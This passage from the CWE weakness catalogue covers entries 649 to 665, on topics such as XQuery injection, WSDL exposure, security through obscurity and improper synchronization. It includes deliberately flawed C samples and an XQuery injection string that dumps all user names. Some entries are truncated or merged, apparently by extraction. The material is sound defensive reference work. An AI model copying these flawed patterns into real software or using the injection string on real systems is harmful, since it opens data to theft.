Phase: Implementation

Only call privileged APIs from safe, consistent and expected state.

Phase: Implementation

Ensure that a failure or an error will not leave a system in a state where privileges are not properly shed and privilege escalation is possible (i.e. fail securely with regards to handling of privileges).

Observed Examples

Reference	Description
CVE-2003-0645	A Unix utility that displays online help files, if installed setuid, could allow a local attacker to gain privileges when a particular file-opening function is called. *https://www.cve.org/CVERecord?id=CVE-2003-0645*

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

Weakness ID : 649
Structure : Simple
Abstraction : Base

Description

The product uses obfuscation or encryption of inputs that should not be mutable by an external actor, but the product does not use integrity checks to detect if those inputs have been modified.

Extended Description

When an application relies on obfuscation or incorrectly applied / weak encryption to protect client-controllable tokens or parameters, that may have an effect on the user state, system state, or some decision made on the server. Without protecting the tokens/parameters for integrity, the application is vulnerable to an attack where an adversary traverses the space of possible values of the said token/parameter in order to attempt to gain an advantage. The goal of the attacker is to find another admissible value that will somehow elevate their privileges in the system, disclose information or change the behavior of the system in some way beneficial to the attacker. If the application does not protect these critical tokens/parameters for integrity, it will not be able to determine that these values have been tampered with. Measures that are used to protect data for confidentiality should not be relied upon to provide the integrity service.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Scope	Impact	Likelihood
	The inputs could be modified without detection, causing the product to have unexpected system state or make incorrect security decisions.	

Potential Mitigations

Phase: Architecture and Design

Protect important client controllable tokens/parameters for integrity using PKI methods (i.e. digital signatures) or other means, and checks for integrity on the server side.

Phase: Architecture and Design

Repeated requests from a particular user that include invalid values of tokens/parameters (those that should not be changed manually by users) should result in the user account lockout.

Phase: Architecture and Design

Client side tokens/parameters should not be such that it would be easy/predictable to guess another valid state.

Phase: Architecture and Design

Obfuscation should not be relied upon. If encryption is used, it needs to be properly applied (i.e. proven algorithm and implementation, use padding, use random initialization vector, user proper encryption mode). Even with proper encryption where the ciphertext does not leak information about the plaintext or reveal its structure, compromising integrity is possible (although less likely) without the provision of the integrity service.

Observed Examples

Reference	Description
CVE-2005-0039	An IPSec configuration does not perform integrity checking of the IPSec packet as the result of either not configuring ESP properly to support the integrity service or using AH improperly. In either case, the security gateway receiving the IPSec packet would not validate the integrity of the packet to ensure that it was not changed. Thus if the packets were intercepted the attacker could undetectably change some of the bits in the packets. The meaningful bit flipping was possible due to the known weaknesses in the CBC encryption mode. Since the attacker knew the structure of the packet, they were able (in one variation of the attack) to use bit flipping to change the destination IP of the packet to the destination machine controlled by the attacker. And so the destination security gateway would decrypt the packet and then forward the plaintext to the machine controlled by the attacker. The attacker could then read the original message. For instance if VPN was used with the vulnerable IPSec configuration the attacker could read the victim's e-mail. This vulnerability demonstrates the need to enforce the integrity service properly when critical data could be modified by an attacker. This problem might have also been mitigated by using an encryption mode that is not susceptible to bit flipping attacks, but the preferred mechanism to address this problem still remains message verification for integrity. While this attack focuses on the network layer and requires an entity that controls part of the communication path such as a router, the situation is not much different at the software level, where an attacker can modify tokens/parameters used by the application. *https://www.cve.org/CVERecord?id=CVE-2005-0039*

CWE-650: Trusting HTTP Permission Methods on the Server Side

Weakness ID : 650
Structure : Simple
Abstraction : Variant

Description

The server contains a protection mechanism that assumes that any URI that is accessed using HTTP GET will not cause a state change to the associated resource. This might allow attackers to bypass intended access restrictions and conduct resource modification and deletion attacks, since some applications allow GET to modify state.

Extended Description

The HTTP GET method and some other methods are designed to retrieve resources and not to alter the state of the application or resources on the server side. Furthermore, the HTTP specification requires that GET requests (and other requests) should not have side effects. Believing that it will be enough to prevent unintended resource alterations, an application may disallow the HTTP requests to perform DELETE, PUT and POST operations on the resource representation. However, there is nothing in the HTTP protocol itself that actually prevents the HTTP GET method from performing more than just query of the data. Developers can easily code programs that accept a HTTP GET request that do in fact create, update or delete data on the server. For instance, it is a common practice with REST based Web Services to have HTTP GET requests modifying resources on the server side. However, whenever that happens, the access control needs to be properly enforced in the application. No assumptions should be made that only HTTP DELETE, PUT, POST, and other methods have the power to alter the representation of the resource being accessed in the request.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-651: Exposure of WSDL File Containing Sensitive Information

Weakness ID : 651
Structure : Simple
Abstraction : Variant

Description

The Web services architecture may require exposing a Web Service Definition Language (WSDL) file that contains information on the publicly accessible services and how callers of these services should interact with them (e.g. what parameters they expect and what types they return).

Extended Description

An information exposure may occur if any of the following apply:

- The WSDL file is accessible to a wider audience than intended.
- The WSDL file contains information on the methods/services that should not be publicly accessible or information about deprecated methods. This problem is made more likely due to the WSDL often being automatically generated from the code.
- Information in the WSDL file helps guess names/locations of methods/resources that should not be publicly accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1259

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *The attacker may find sensitive information located in the WSDL file.*	

Potential Mitigations

Phase: Architecture and Design

Limit access to the WSDL file as much as possible. If services are provided only to a limited number of entities, it may be better to provide WSDL privately to each of these entities than to publish WSDL publicly.

Phase: Architecture and Design

Strategy = Separation of Privilege

Make sure that WSDL does not describe methods that should not be publicly accessible. Make sure to protect service methods that should not be publicly accessible with access controls.

Phase: Architecture and Design

Do not use method names in WSDL that might help an adversary guess names of private methods/resources used by the service.

Demonstrative Examples

Example 1:

The WSDL for a service providing information on the best price of a certain item exposes the following method: float getBestPrice(String ItemID) An attacker might guess that there is a method setBestPrice (String ItemID, float Price) that is available and invoke that method to try and change the best price of a given item to their advantage. The attack may succeed if the attacker correctly guesses the name of the method, the method does not have proper access controls around it and the service itself has the functionality to update the best price of the item.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1417	Comprehensive Categorization: Sensitive Information Exposure	1400	2585

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

Weakness ID : 652
Structure : Simple
Abstraction : Base

Description

The product uses external input to dynamically construct an XQuery expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ChildOf	B	91	XML Injection (aka Blind XPath Injection)	220
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1864

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2470

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker might be able to read sensitive information from the XML database.*	

Potential Mitigations

Phase: Implementation

Use parameterized queries. This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XQL queries is safe in that context.

Demonstrative Examples

Example 1:

An attacker may pass XQuery expressions embedded in an otherwise standard XML document. The attacker tunnels through the application entry point to target the resource access layer. The

string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[name='*'] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-653: Improper Isolation or Compartmentalization

Weakness ID : 653
Structure : Simple
Abstraction : Class

Description

The product does not properly compartmentalize or isolate functionality, processes, or resources that require different privilege levels, rights, or permissions.

Extended Description

When a weakness occurs in functionality that is accessible by lower-privileged users, then without strong boundaries, an attack might extend the scope of the damage to higher-privileged users.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. This node conflicts with the original definition of "Separation of Privilege" by Saltzer and Schroeder; that original definition is more closely associated with CWE-654. Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism *The exploitation of a weakness in low-privileged areas of the software can be leveraged to reach higher-privileged areas without having to overcome any additional obstacles.*	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Break up privileges between different modules, objects, or entities. Minimize the interfaces between modules and require strong access control between them.

Demonstrative Examples

Example 1:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 2:

The traditional UNIX privilege model provides root with arbitrary access to all resources, but root is frequently the only user that has privileges. As a result, administrative tasks require root privileges, even if those tasks are limited to a small area, such as updating user manpages. Some UNIX flavors have a "bin" user that is the owner of system executables, but since root relies on executables owned by bin, a compromise of the bin account can be leveraged for root privileges by modifying a bin-owned executable, such as CVE-2007-4238.

Observed Examples

Reference	Description
CVE-2021-33096	Improper isolation of shared resource in a network-on-chip leads to denial of service *https://www.cve.org/CVERecord?id=CVE-2021-33096*

MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2528
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2586

Notes

Relationship

There is a close association with CWE-250 (Execution with Unnecessary Privileges). CWE-653 is about providing separate components for each "privilege"; CWE-250 is about ensuring that each component has the least amount of privileges possible. In this fashion, compartmentalization becomes one mechanism for reducing privileges.

Terminology

The term "Separation of Privilege" is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (this node) and using only one factor in a security decision (CWE-654). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization,

such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

Separation of Privilege : Some people and publications use the term "Separation of Privilege" to describe this weakness, but this term has dual meanings in current usage. While this entry is closely associated with the original definition of "Separation of Privilege" by Saltzer and Schroeder,

others use the same term to describe poor compartmentalization (CWE-653). Because there are multiple interpretations, use of the "Separation of Privilege" term is discouraged.

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *If the single factor is compromised (e.g. by theft or spoofing), then the integrity of the entire security mechanism can be violated with respect to the user that is identified by that factor.*	
Non-Repudiation	Hide Activities *It can become difficult or impossible for the product to be able to distinguish between legitimate activities by the entity who provided the factor, versus illegitimate activities by an attacker.*	

Potential Mitigations

Phase: Architecture and Design

Use multiple simultaneous checks before granting access to critical operations or granting critical privileges. A weaker but helpful mitigation is to use several successive checks (multiple layers of security).

Phase: Architecture and Design

Use redundant access rules on different choke points (e.g., firewalls).

Demonstrative Examples

Example 1:

Password-only authentication is perhaps the most well-known example of use of a single factor. Anybody who knows a user's password can impersonate that user.

Example 2:

When authenticating, use multiple factors, such as "something you know" (such as a password) and "something you have" (such as a hardware-based one-time password generator, or a biometric device).

Observed Examples

Reference	Description
CVE-2022-35248	Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication *https://www.cve.org/CVERecord?id=CVE-2022-35248*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2443
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2586

Notes

Maintenance

This entry is closely associated with the term "Separation of Privilege." This term is used in several different ways in the industry, but they generally combine two closely related principles: compartmentalization (CWE-653) and using only one factor in a security decision (this entry). Proper compartmentalization implicitly introduces multiple factors into a security decision, but there can be cases in which multiple factors are required for authentication or other mechanisms that do not involve compartmentalization, such as performing all required checks on a submitted certificate. It is likely that CWE-653 and CWE-654 will provoke further discussion.

CWE-655: Insufficient Psychological Acceptability

Weakness ID : 655
Structure : Simple
Abstraction : Class

Description

The product has a protection mechanism that is too difficult or inconvenient to use, encouraging non-malicious users to disable or bypass the mechanism, whether by accident or on purpose.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1532

Nature	Type	ID	Name	Page
ChildOf	C	657	Violation of Secure Design Principles	1457

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *By bypassing the security mechanism, a user might leave the system in a less secure state than intended by the administrator, making it more susceptible to compromise.*	

Potential Mitigations

Phase: Testing

Where possible, perform human factors and usability studies to identify where your product's security mechanisms are difficult to use, and why.

Phase: Architecture and Design

Make the security mechanism as seamless as possible, while also providing the user with sufficient details when a security decision produces unexpected results.

Demonstrative Examples

Example 1:

In "Usability of Security: A Case Study" [REF-540], the authors consider human factors in a cryptography product. Some of the weakness relevant discoveries of this case study were: users accidentally leaked sensitive information, could not figure out how to perform some tasks, thought they were enabling a security option when they were not, and made improper trust decisions.

Example 2:

Enforcing complex and difficult-to-remember passwords that need to be frequently changed for access to trivial resources, e.g., to use a black-and-white printer. Complex password requirements can also cause users to store the passwords in an unsafe manner so they don't have to remember them, such as using a sticky note or saving them in an unencrypted file.

Example 3:

Some CAPTCHA utilities produce images that are too difficult for a human to read, causing user frustration.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-656: Reliance on Security Through Obscurity

Weakness ID : 656
Structure : Simple
Abstraction : Class

Description

The product uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.

Extended Description

This reliance on "security through obscurity" can produce resultant weaknesses if an attacker is able to reverse engineer the inner workings of the mechanism. Note that obscurity can be one small part of defense in depth, since it can create more work for an attacker; however, it is a significant risk if used as the primary means of protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Never Assuming your secrets are safe :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Other	Other *The security mechanism can be bypassed easily.*	

Potential Mitigations

Phase: Architecture and Design

Always consider whether knowledge of your code or design is sufficient to break it. Reverse engineering is a highly successful discipline, and financially feasible for motivated adversaries. Black-box techniques are established for binary analysis of executables that use obfuscation, runtime analysis of proprietary protocols, inferring file formats, and others.

Phase: Architecture and Design

When available, use publicly-vetted algorithms and procedures, as these are more likely to undergo more extensive security analysis and testing. This is especially the case with encryption and authentication.

Demonstrative Examples

Example 1:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Observed Examples

Reference	Description
CVE-2006-6588	Reliance on hidden form fields in a web application. Many web application vulnerabilities exist because the developer did not consider that "hidden" form fields can be processed using a modified client. *https://www.cve.org/CVERecord?id=CVE-2006-6588*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2006-7142*
CVE-2005-4002	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2005-4002*
CVE-2006-4068	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. *https://www.cve.org/CVERecord?id=CVE-2006-4068*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2443
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2528
MemberOf	C	1418	Comprehensive Categorization: Violation of Secure Design Principles	1400	2586

Notes

Relationship

Note that there is a close relationship between this weakness and CWE-603 (Use of Client-Side Authentication). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

CWE-657: Violation of Secure Design Principles

Weakness ID : 657
Structure : Simple
Abstraction : Class

Description

The product violates well-established principles for secure design.

Extended Description

This can introduce resultant weaknesses or make it easier for developers to introduce related weaknesses during implementation. Because code is centered around design, it can be resource-intensive to fix design problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	B	1192	Improper Identifier for IP Block used in System-On-Chip (SOC)	2000
ParentOf	C	1395	Dependency on Vulnerable Third-Party Component	2295

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Demonstrative Examples

Example 1:

Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Example 2:

The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.

Example 3:

When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 4:

Single sign-on technology is intended to make it easier for users to access multiple resources or domains without having to authenticate each time. While this is highly convenient for the user and attempts to address problems with psychological acceptability, it also means that a compromise of a user's credentials can provide immediate access to all other resources or domains.

Example 5:

The design of TCP relies on the secrecy of Initial Sequence Numbers (ISNs), as originally covered in CVE-1999-0077 [REF-542]. If ISNs can be guessed (due to predictability, CWE-330) or sniffed (due to lack of encryption during transmission, CWE-312), then an attacker can hijack or spoof connections. Many TCP implementations have had variations of this problem over the years, including CVE-2004-0641, CVE-2002-1463, CVE-2001-0751, CVE-2001-0328, CVE-2001-0288, CVE-2001-0163, CVE-2001-0162, CVE-2000-0916, and CVE-2000-0328.

Example 6:

The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]

Observed Examples

Reference	Description
CVE-2019-6260	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. *https://www.cve.org/CVERecord?id=CVE-2019-6260*
CVE-2007-5277	The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to "fail functional." *https://www.cve.org/CVERecord?id=CVE-2007-5277*
CVE-2006-7142	Hard-coded cryptographic key stored in executable program. *https://www.cve.org/CVERecord?id=CVE-2006-7142*
CVE-2007-0408	Server does not properly validate client certificates when reusing cached connections. *https://www.cve.org/CVERecord?id=CVE-2007-0408*

CWE-662: Improper Synchronization

Weakness ID : 662
Structure : Simple
Abstraction : Class

Description

The product utilizes multiple threads or processes to allow temporary access to a shared resource that can only be exclusive to one process at a time, but it does not properly synchronize these actions, which might cause simultaneous accesses of this resource by multiple threads or processes.

Extended Description

Synchronization refers to a variety of behaviors and mechanisms that allow two or more independently-operating processes or threads to ensure that they operate on shared resources in predictable ways that do not interfere with each other. Some shared resource operations cannot be executed atomically; that is, multiple steps must be guaranteed to execute sequentially, without any interference by other processes. Synchronization mechanisms vary widely, but they may include locking, mutexes, and semaphores. When a multi-step operation on a shared resource cannot be guaranteed to execute independent of interference, then the resulting behavior can be unpredictable. Improper synchronization could lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use industry standard APIs to synchronize your code.

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(Bad)*

```
void f(pthread_mutex_t *mutex) {
  pthread_mutex_lock(mutex);
  /* access shared resource */
  pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C *(Good)*

```
int f(pthread_mutex_t *mutex) {
  int result;
  result = pthread_mutex_lock(mutex);
  if (0 != result)
    return result;
  /* access shared resource */
  return pthread_mutex_unlock(mutex);
}
```

Example 2:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C *(Bad)*

```
static void print (char * string) {
  char * word;
  int counter;
  for (word = string; counter = *word++; ) {
    putc(counter, stdout);
    fflush(stdout);
    /* Make timing window a little larger... */
    sleep(1);
  }
}
int main(void) {
  pid_t pid;
  pid = fork();
  if (pid == -1) {
    exit(-2);
```

```
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT
[blank line]
[blank line]

Observed Examples

Reference	Description
CVE-2021-1782	Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV. *https://www.cve.org/CVERecord?id=CVE-2021-1782*
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://www.cve.org/CVERecord?id=CVE-2009-0935*

MemberOf Relationships

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID : 663
Structure : Simple
Abstraction : Base

Description

The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1460
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1157
ParentOf	V	558	Use of getlogin() in Multithreaded Application	1283
PeerOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	2106

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	2366

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory	
Confidentiality	Read Memory	
Other	Modify Application Data	
	Read Application Data	
	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use reentrant functions if available.

Phase: Implementation

Add synchronization to your non-reentrant function.

Phase: Implementation

In Java, use the ReentrantLock Class.

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: C *(Bad)*

```
char *message;
void sh(int dummy) {
   syslog(LOG_NOTICE,"%s\n",message);
   sleep(10);
   exit(0);
}
int main(int argc,char* argv[]) {
   ...
   signal(SIGHUP,sh);
   signal(SIGTERM,sh);
   sleep(10);
   exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Example 2:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
   allow();
} else {
   deny();
}
```

Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler *https://www.cve.org/CVERecord?id=CVE-2001-1349*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID : 664
Structure : Simple
Abstraction : Pillar

Description

The product does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When code does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	2448
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2496
MemberOf	C	1370	ICS Supply Chain: Common Mode Frailties	1358	2544
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Maintenance

More work is needed on this entry and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

CWE-665: Improper Initialization

Weakness ID : 665
Structure : Simple
Abstraction : Class

Description

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Access Control	Bypass Protection Mechanism *If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.*	
